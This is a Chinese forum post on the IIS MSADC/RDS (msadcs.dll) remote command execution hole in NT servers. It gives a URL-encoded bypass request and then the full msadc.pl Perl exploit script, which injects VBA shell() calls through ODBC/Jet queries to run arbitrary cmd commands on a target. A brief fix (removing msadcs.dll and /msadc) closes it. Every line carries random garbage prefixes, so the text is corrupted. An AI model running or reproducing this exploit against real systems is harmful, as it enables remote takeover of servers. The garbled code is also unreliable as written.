IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
bnll-G| >Ln/ )j 涉及程序：
?]JTr v"zp Microsoft NT server
[^iQE 6\8
lx|w 描述：
s)?=4zJ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
J;?#Zt]`L <r[5 S5y 详细：
[&6 VI? 如果你没有时间读详细内容的话，就删除:
*} yOL
[ c:\Program Files\Common Files\System\Msadc\msadcs.dll
:n1^Xw0q 有关的安全问题就没有了。
?Hb5<,1u3 p&Os 5zw;| 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
D{%l 4og }3G`f> s 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
/ h/f&3'h 关于利用ODBC远程漏洞的描述，请参看:
+`;YK7o u}zCcWP|L http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm M MyVm"w eB]cPo4gW 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
tbx* }uy2 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^h
q?E2- ,4RmT\%T 这里不再论述。
@S69u s} a4 zq`n|3U 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
ba= -F4? iX 3Y:
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
gBF2.{"^ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
'\v m m> fjc8@S5x9j z_)`='&n #将下面这段保存为txt文件，然后: "perl -x 文件名"
jm|x=s3}h --( e(tvf #!perl
j gcI|?yL #
\v7->Sy8 # MSADC/RDS 'usage' (aka exploit) script
6qCRM *V #
. @#GNZe # by rain.forest.puppy
]n8
5.DF #
r8o9 C # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
g{t)I0xm # beta test and find errors!
1qEpQ.:]( MfX1&/Z+ use Socket; use Getopt::Std;
{8'f>YP getopts("e:vd:h:XR", \%args);
; O6Ez-" pZpAb+ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
d&!;uzOx ,BUDo9h if (!defined $args{h} && !defined $args{R}) {
WFl, u!"A print qq~
{F Ir|R& Usage: msadc.pl -h <host> { -d <delay> -X -v }
cqP)1V] -h <host> = host you want to scan (ip or domain)
D)XV{Wit -d <seconds> = delay between calls, default 1 second
73:y&U -X = dump Index Server path table, if available
N U>'$s -v = verbose
)<fa1Gz#^ -e = external dictionary file for step 5
[8- . T4 15o<'4|=Lm Or a -R will resume a command session
Gxtqzr * v-(Ry<fT9 ~; exit;}
*bi!iz5F *.4VO+^ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Y|*a,H"_ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
OGDCC/ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
M F 7q*f if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
5Op |="W. $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
OKXELP if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
?9Lp@k~TO P^wDt14> if (!defined $args{R}){ $ret = &has_msadc;
y:C=Ni&," die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
]c67zyX=% D*!UB5<>/t print "Please type the NT commandline you want to run (cmd /c assumed):\n"
I}?+>cf . "cmd /c ";
5_|Sm= $in=<STDIN>; chomp $in;
XZ|%9#6 $command="cmd /c " . $in ;
*wSz2o), \yQs[l%J if (defined $args{R}) {&load; exit;}
~9[^abz ?+Q?K30: print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=vd9mb- &try_btcustmr;
B+8lp4V9% 1E1oy( \V print "\nStep 2: Trying to make our own DSN...";
Tz PG(f &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8ZnHp~ m$ubxI) print "\nStep 3: Trying known DSNs...";
!Zr 9t|_ &known_dsn;
@ X$~{Vp__ DdI
V~CxD print "\nStep 4: Trying known .mdbs...";
J )*7JX &known_mdb;
E41ay:duAl )~u<u:N if (defined $args{e}){
RotWMGNK print "\nStep 5: Trying dictionary of DSN names...";
/Dmuvb|A &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
lk<}`#( g W7\s=t\ print "Sorry Charley...maybe next time?\n";
ji8)/ exit;
~8A !..Z R#K,/b%SV ##############################################################################
Rxl )[\A* n7CwGN% sub sendraw { # ripped and modded from whisker
lhp.zl sleep($delay); # it's a DoS on the server! At least on mine...
^V5VRGq my ($pstr)=@_;
Je mB[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Te\i;7;4u die("Socket problems\n");
pGwBhZnb> if(connect(S,pack "SnA4x8",2,80,$target)){
2r =8&~9z select(S); $|=1;
\$Jz26
-n print $pstr; my @in=<S>;
./Y5Vk#Rp\ select(STDOUT); close(S);
P+9%(S)L3 return @in;
i]8 +JG6 } else { die("Can't connect...\n"); }}
y3^>a5z!x acPX2B[jJ ##############################################################################
v` G [6Z ees ^ j4 sub make_header { # make the HTTP request
w~}*MsB my $msadc=<<EOT
E1"H( m&6 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Xb/W[rcs User-Agent: ACTIVEDATA
0@BhRf5 Host: $ip
)0 tq& Content-Length: $clen
w1N-`S: Connection: Keep-Alive
(8XP7c] 5 rQrh(~\: ADCClientVersion:01.06
@v:p)|Ne; Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
(E*pM$ /x2M W5H --!ADM!ROX!YOUR!WORLD!
xDsB%~ Content-Type: application/x-varg
Ig.9:v ` Content-Length: $reqlen
o 9 ?#;B$ f@)GiLC'" EOT
3|Vh[iAa\ ; $msadc=~s/\n/\r\n/g;
v\#1&</qd^ return $msadc;}
mO?yrM * saPg2N, ##############################################################################
f ^vz @i9eH8lT sub make_req { # make the RDS request
8-"lK7 my ($switch, $p1, $p2)=@_;
1OwVb my $req=""; my $t1, $t2, $query, $dsn;
>3,t`Z : 9 M<3m if ($switch==1){ # this is the btcustmr.mdb query
_d J" 2rx $query="Select * from Customers where City=" . make_shell();
;oT!\$Mu $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+eIX {J\s $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
H[;\[ 3 m })EYs1 elsif ($switch==2){ # this is general make table query
@D3|Ak 1 $query="create table AZZ (B int, C varchar(10))";
0|L%)'F $dsn="$p1";}
o&PPW~D+h@ c]OK)i-{l elsif ($switch==3){ # this is general exploit table query
Kh Wt9=9 $query="select * from AZZ where C=" . make_shell();
sf(2~BMQI $dsn="$p1";}
U6 sPJc< bS2)L4MQ Y elsif ($switch==4){ # attempt to hork file info from index server
$I$ B8 $query="select path from scope()";
V `,tu `6 $dsn="Provider=MSIDXS;";}
9Q. }jV ww^!|VVa elsif ($switch==5){ # bad query
&>KZ4%&? $query="select";
0Xe?{!@a $dsn="$p1";}
o;^k"bo6 wq6.:8Or-] $t1= make_unicode($query);
[<!4 a $t2= make_unicode($dsn);
XW2{I.:in> $req = "\x02\x00\x03\x00";
Dau'VtzN $req.= "\x08\x00" . pack ("S1", length($t1));
Bq# l8u $req.= "\x00\x00" . $t1 ;
exfJm'R?n $req.= "\x08\x00" . pack ("S1", length($t2));
)r +o51gp $req.= "\x00\x00" . $t2 ;
q'zV9 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
/bBFPrW return $req;}
tAxS1<T4 T M?RH{(r ##############################################################################
F8T.}q I 4^>FN"Ve`B sub make_shell { # this makes the shell() statement
7c7:B2Lq return "'|shell(\"$command\")|'";}
!# ' y# IFd2r;W8 ##############################################################################
F2bAo 6~R '{ I YANVT sub make_unicode { # quick little function to convert to unicode
JIYZ my ($in)=@_; my $out;
O>~ozW & for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
V+y yy- / return $out;}
|."thTO u,f$cR ##############################################################################
9-6E(D-ux rf[w&~R sub rdo_success { # checks for RDO return success (this is kludge)
_ (&XqEX my (@in) = @_; my $base=content_start(@in);
\'}? j- 8 if($in[$base]=~/multipart\/mixed/){
{B d 0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
0DIXd*oj & return 0;}
B?|url6h ~ 6`Ha@ ##############################################################################
THXG~3J< @ 4EC z>Q sub make_dsn { # this makes a DSN for us
!JOM+P: my @drives=("c","d","e","f");
x[w!buV0\ print "\nMaking DSN: ";
g~Hmka_fD1 foreach $drive (@drives) {
Dg_ AoC print "$drive: ";
^@a|s
Sb my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
2uajK ..b "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
*H''.6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
3u g-cq $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
_w\A=6=q| return 0 if $2 eq "404"; # not found/doesn't exist
=Kh1 HU.F if($2 eq "200") {
'
6#en9{L foreach $line (@results) {
x,~ ys4 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
= yy7P[D } return 0;}
5[\LQtM Bl6> y/ ##############################################################################
k #Bq8d } c1?:8p sub verify_exists {
r:QLO~l/ my ($page)=@_;
N7WQ{/PSG my @results=sendraw("GET $page HTTP/1.0\n\n");
nYF;. k return $results[0];}
)v cyoq t I- u@
g ##############################################################################
l^,"^ vz W.O]f. h sub try_btcustmr {
f kjo my @drives=("c","d","e","f");
FLE2]cL- my @dirs=("winnt","winnt35","winnt351","win","windows");
8F#z)>q ~ /GQN34RD foreach $dir (@dirs) {
JXa5snh{h print "$dir -> "; # fun status so you can see progress
LaolA qU foreach $drive (@drives) {
S7fX1y[ print "$drive: "; # ditto
]= EYju@ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
@UG% B7 $reqlenlen=length( "$reqlen" );
+LE U|# $clen= 206 + $reqlenlen + $reqlen;
/O$7A7Tl ^o@N.+`&< my @results=sendraw(make_header() . make_req(1,$drive,$dir));
u#&ZD| if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
=,4iMENm! else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
X":T>) J- I6B`G Im5 ##############################################################################
8U$(9X ]g0h7q)79 sub odbc_error {
(aQNe{D# my (@in)=@_; my $base;
},W<1*| my $base = content_start(@in);
<RFT W}f! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
zZ11J 0UI $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^zs]cFN#% $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u} :p@j}Zv $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%0< -5&GE return $in[$base+4].$in[$base+5].$in[$base+6];}
"dN4EA&QJ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ys#V_ysb print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
R3`h$`G $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
*=p[;V (X ?'}Ur ##############################################################################
)A 6 eD \W',g[Y: sub verbose {
@VVDN
my ($in)=@_;
QwaAGUA return if !$verbose;
;vDj d2 @ print STDOUT "\n$in\n";}
i4XE26B;e 4EZl
(v"f` ##############################################################################
^G~C#t^ },;ymk|g[ sub save {
VYj*LiR my ($p1, $p2, $p3, $p4)=@_;
lNQ8$b open(OUT, ">rds.save") || print "Problem saving parameters...\n";
oieZopY A print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Up/s)8$. close OUT;}
E7K(I ? NGYUZ\ m ##############################################################################
`]q>A']Dl hj_%'kk-A sub load {
y`n'>F 11 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
x2M'!VK>n1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
d;-/F b{4 @p=<IN>; close(IN);
7 z#Xf $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ofu
{g $target= inet_aton($ip) || die("inet_aton problems");
n:#gKR-J print "Resuming to $ip ...";
Q#2gjR r $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
;<9 dND if($p[1]==1) {
~ }g "Fe $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
hA0g'X2eC $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
g+xA 0q W my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
06dk K )` if (rdo_success(@results)){print "Success!\n";}
> kLUQ%zE@ else { print "failed\n"; verbose(odbc_error(@results));}}
Gop;!aV1* elsif ($p[1]==3){
u0M? l if(run_query("$p[3]")){
GF3"$?Cw print "Success!\n";} else { print "failed\n"; }}
v p>,}nx4 elsif ($p[1]==4){
1lJY=`8qa if(run_query($drvst . "$p[3]")){
M2.Pf s print "Success!\n"; } else { print "failed\n"; }}
D@]*{WO exit;}
9\aR{e,1 " 0&+ `7 ##############################################################################
X9YYUnR2 yHka7D sub create_table {
FuKp` T-H my ($in)=@_;
9~En; e $reqlen=length( make_req(2,$in,"") ) - 28;
!}TZmwf' $reqlenlen=length( "$reqlen" );
jYv`kt $clen= 206 + $reqlenlen + $reqlen;
7a4b,-93 my @results=sendraw(make_header() . make_req(2,$in,""));
z
TM 1 e return 1 if rdo_success(@results);
b/I_iJ8t my $temp= odbc_error(@results); verbose($temp);
*s"dC c return 1 if $temp=~/Table 'AZZ' already exists/;
Pz/bne;= return 0;}
X;hV+| Bo )<vU F]e~ ##############################################################################
,xJ1\_GI` ~ e4Pj`?=K sub known_dsn {
Jp0*Y-*Y # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
giDe my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
n&`=.[+A "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
SG)hrd "banner", "banners", "ads", "ADCDemo", "ADCTest");
v`Iw:?)% %DKQ foreach $dSn (@dsns) {
5c W2 print ".";
"i}?jf
{a next if (!is_access("DSN=$dSn"));
!5/jDvh
if(create_table("DSN=$dSn")){
}aPx28:/ print "$dSn successful\n";
FBR]) h'Z if(run_query("DSN=$dSn")){
7LQLeQvB print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-j6&W` print "Something's borked. Use verbose next time\n";}}} print "\n";}
^x:%_ yG Y }qa8 o ##############################################################################
.sO.Y<- fl 2}ttC m sub is_access {
_aR_ [ my ($in)=@_;
{!$E\e^d $reqlen=length( make_req(5,$in,"") ) - 28;
iEtnwSt $reqlenlen=length( "$reqlen" );
L ~,x~sLd $clen= 206 + $reqlenlen + $reqlen;
mX2(SFpJar my @results=sendraw(make_header() . make_req(5,$in,""));
" wB~*,Ny my $temp= odbc_error(@results);
|fJpX5W-l verbose($temp); return 1 if ($temp=~/Microsoft Access/);
w=]bj0<A= return 0;}
D]{#!w(d ?dJ[? <aG ##############################################################################
6zJ<2 7 y" (-O%Pe sub run_query {
>AbgJ*X. my ($in)=@_;
@Yv.HhO9 $reqlen=length( make_req(3,$in,"") ) - 28;
g.& n
X/ $reqlenlen=length( "$reqlen" );
%LH~Im= $clen= 206 + $reqlenlen + $reqlen;
Spns hv8 my @results=sendraw(make_header() . make_req(3,$in,""));
Nan@SuKY return 1 if rdo_success(@results);
%`k O\q_ my $temp= odbc_error(@results); verbose($temp);
7V^\fh5~ return 0;}
E&} @P0^ VS W:h ##############################################################################
U X?EOrfJ 'T8(md299 sub known_mdb {
D9cpw0{nc my @drives=("c","d","e","f","g");
.+;;-]}) my @dirs=("winnt","winnt35","winnt351","win","windows");
Y"x9B%e my $dir, $drive, $mdb;
gCVgL]jj( my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l;N?*2zm[ ?gp:uxq, . # this is sparse, because I don't know of many
* [\H)L z my @sysmdbs=( "\\catroot\\icatalog.mdb",
0""t`y& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
i #uc "\\system32\\certmdb.mdb",
? !h
jI;_& "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
) r8yt} &vDK6w, my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
?"d25LyN "\\cfusion\\cfapps\\forums\\forums_.mdb",
'Mfn:n+ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
x*Lm{c5+ "\\cfusion\\cfapps\\security\\realm_.mdb",
u~WE} VC "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Ik4FVL8~ "\\cfusion\\database\\cfexamples.mdb",
hzT,0<nw "\\cfusion\\database\\cfsnippets.mdb",
1Q&\y)@bT "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
k u@sQn "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
doI cO,Q "\\cfusion\\brighttiger\\database\\cleam.mdb",
oj|\NlR "\\cfusion\\database\\smpolicy.mdb",
.4jU G= "\\cfusion\\database\cypress.mdb",
z
qM:'x* "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Au-_6dT "\\website\\cgi-win\\dbsample.mdb",
_y,? Cj=u| "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Nq$Xe~,* "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
q_h=O1W ); #these are just
^7q qO% foreach $drive (@drives) {
#- l1(m foreach $dir (@dirs){
+@U}gk;#c foreach $mdb (@sysmdbs) {
:y>$N(.8f print ".";
z1-JoZ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
TqvgC k- print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
f1hjU~nJ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
7K 8tz} print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
"sM
3N Y } else { print "Something's borked. Use verbose next time\n"; }}}}}
R-L *N$@! ?89K
[D| foreach $drive (@drives) {
TVk C pO,H foreach $mdb (@mdbs) {
sPu@t&$
print ".";
4iXB`@k if(create_table($drv . $drive . $dir . $mdb)){
R\^n2gK print "\n" . $drive . $dir . $mdb . " successful\n";
u%o2BLx if(run_query($drv . $drive . $dir . $mdb)){
4RLuv?,)~ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
BI BBp=+ } else { print "Something's borked. Use verbose next time\n"; }}}}
mbij& 0 }
sQ4~oZZ )IFzal}o ##############################################################################
8P kw '.r $KmhG1*s sub hork_idx {
#RJFJb/ print "\nAttempting to dump Index Server tables...\n";
4axc05 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
D2060ze $reqlen=length( make_req(4,"","") ) - 28;
9r5<A!1#L $reqlenlen=length( "$reqlen" );
]*M VVzF $clen= 206 + $reqlenlen + $reqlen;
bv%A ; my @results=sendraw2(make_header() . make_req(4,"",""));
%, Pwo{SH if (rdo_success(@results)){
ySS
kw7 my $max=@results; my $c; my %d;
uxxS."~ for($c=19; $c<$max; $c++){
e\9H'$1\ $results[$c]=~s/\x00//g;
U Bgheu $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Xy0KZ ! $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
ZwC\n(_y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
@T
}p. $d{"$1$2"}="";}
?3I93Bt7 foreach $c (keys %d){ print "$c\n"; }
F!LVyY"w } else {print "Index server doesn't seem to be installed.\n"; }}
-W#-m'Lvu yY 3Mv/R ##############################################################################
`Q d_Gu,M `TvpKS5.Y sub dsn_dict {
c8qsp n open(IN, "<$args{e}") || die("Can't open external dictionary\n");
cPcp@Dp
while(<IN>){
T _}9b $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
_~f& wkc next if (!is_access("DSN=$dSn"));
uY]nqb if(create_table("DSN=$dSn")){
hr9[$4'H print "$dSn successful\n";
` <+MR6M if(run_query("DSN=$dSn")){
mfHZGk[[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3DH}
YAUU print "Something's borked. Use verbose next time\n";}}}
Q[t|+RNKv2 print "\n"; close(IN);}
Bny3j~*U ZTV|rzE ##############################################################################
,k}-I65M*t {[V<mT2/ sub sendraw2 { # ripped and modded from whisker
/]~Oa#SQ: sleep($delay); # it's a DoS on the server! At least on mine...
0zD[mt my ($pstr)=@_;
RY=B>398: socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
G]Fp}, die("Socket problems\n");
?1\ rf$l8 if(connect(S,pack "SnA4x8",2,80,$target)){
w0n.Y-v4i print "Connected. Getting data";
b,] QfC open(OUT,">raw.out"); my @in;
2y/|/IW= select(S); $|=1; print $pstr;
eh=.Q<N while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
92|\`\LP% close(OUT); select(STDOUT); close(S); return @in;
'l, ym~R } else { die("Can't connect...\n"); }}
?kfLOJQ:I ,tt]C~\u ##############################################################################
jq ULg iC ttlFb]zZh sub content_start { # this will take in the server headers
egur} my (@in)=@_; my $c;
_tJp@\rOz= for ($c=1;$c<500;$c++) {
k WVa HZr if($in[$c] =~/^\x0d\x0a/){
R
pUq#Y:a if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
5>{S ^i~! else { return $c+1; }}}
4-RzWSFbo` return -1;} # it should never get here actually
@J"Gn-f~ L4bx [ ##############################################################################
}GV5':W@WG kk6Af\N Z sub funky {
15NeC7GAh my (@in)=@_; my $error=odbc_error(@in);
rr /0pa$ if($error=~/ADO could not find the specified provider/){
iYwzdW1 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
<Sm@ !yx exit;}
" `l8*]z if($error=~/A Handler is required/){
B}n
tD print "\nServer has custom handler filters (they most likely are patched)\n";
Jw;Tq"& exit;}
'6Lw<#It if($error=~/specified Handler has denied Access/){
] B
ZSW print "\nServer has custom handler filters (they most likely are patched)\n";
\.m"u14[b exit;}}
: b9X?%L~ M^f +R'Q3 ##############################################################################
cB,O"- T0=8 U;
= sub has_msadc {
hfUN~89; my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
q~QB?+ x& my $base=content_start(@results);
xaQO=[ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
0E[&:6#Y return 0;}
3aL8GMiu WCf?_\cG ########################
rVo0H.+N)` #^|"dIZ_M vumA W* 解决方案：
#9Src\V 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
o H o@rGU 2、移除web 目录: /msadc
